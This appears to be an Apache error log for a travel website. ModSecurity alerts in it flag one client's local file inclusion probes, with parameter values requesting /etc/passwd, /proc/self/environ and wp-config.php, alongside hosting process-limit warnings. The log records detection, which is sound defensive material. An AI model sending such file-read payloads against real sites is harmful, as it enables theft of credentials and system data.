[Fri Jul 17 08:55:57.299681 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.299995 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxSvekYYQ8uns4MwltwAAAA0"]
[Fri Jul 17 08:55:57.308104 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:view: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxY1dLClkUfK_dfHlHQAAAAI"]
[Fri Jul 17 08:55:57.308240 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:view: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxY1dLClkUfK_dfHlHQAAAAI"]
[Fri Jul 17 08:55:57.308831 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxY1dLClkUfK_dfHlHQAAAAI"]
[Fri Jul 17 08:55:57.308999 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.309417 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxY1dLClkUfK_dfHlHQAAAAI"]
[Fri Jul 17 08:55:57.310297 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:view: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwluAAAAA0"]
[Fri Jul 17 08:55:57.315126 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:view: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwluAAAAA0"]
[Fri Jul 17 08:55:57.321243 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwluAAAAA0"]
[Fri Jul 17 08:55:57.321562 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.321962 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxSvekYYQ8uns4MwluAAAAA0"]
[Fri Jul 17 08:55:57.342105 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:view: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxY1dLClkUfK_dfHlHgAAAAI"]
[Fri Jul 17 08:55:57.342259 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:view. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:view: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxY1dLClkUfK_dfHlHgAAAAI"]
[Fri Jul 17 08:55:57.343008 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxY1dLClkUfK_dfHlHgAAAAI"]
[Fri Jul 17 08:55:57.343182 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.343623 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxY1dLClkUfK_dfHlHgAAAAI"]
[Fri Jul 17 08:55:57.343718 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.354541 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.354797 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.360261 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.370902 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.377471 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.378055 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.384150 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.385733 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:viewport. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:viewport: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwlvAAAAA0"]
[Fri Jul 17 08:55:57.386258 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwlvAAAAA0"]
[Fri Jul 17 08:55:57.386356 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.386601 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxSvekYYQ8uns4MwlvAAAAA0"]
[Fri Jul 17 08:55:57.412586 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:viewport. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:viewport: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwlvQAAAA0"]
[Fri Jul 17 08:55:57.412699 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:viewport. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:viewport: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwlvQAAAA0"]
[Fri Jul 17 08:55:57.413174 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwlvQAAAA0"]
[Fri Jul 17 08:55:57.413284 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.413558 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxSvekYYQ8uns4MwlvQAAAA0"]
[Fri Jul 17 08:55:57.420003 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:viewport. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:viewport: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxY1dLClkUfK_dfHlIQAAAAI"]
[Fri Jul 17 08:55:57.420942 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxY1dLClkUfK_dfHlIQAAAAI"]
[Fri Jul 17 08:55:57.421244 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.421786 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxY1dLClkUfK_dfHlIQAAAAI"]
[Fri Jul 17 08:55:57.476401 2026] [ssl:error] [pid 2018767:tid 2018767] (70014)End of file found: [client 66.85.158.91:55168] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:55:57.492396 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:viewport. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:viewport: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxQ5GPQ6hs4VrfMpB4QAAAAY"]
[Fri Jul 17 08:55:57.492515 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:viewport. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:viewport: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxQ5GPQ6hs4VrfMpB4QAAAAY"]
[Fri Jul 17 08:55:57.493019 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxQ5GPQ6hs4VrfMpB4QAAAAY"]
[Fri Jul 17 08:55:57.493150 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:57.493463 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgxQ5GPQ6hs4VrfMpB4QAAAAY"]
[Fri Jul 17 08:55:57.494920 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:viewport. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:viewport: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgxSvekYYQ8uns4MwlvgAAAA0"]
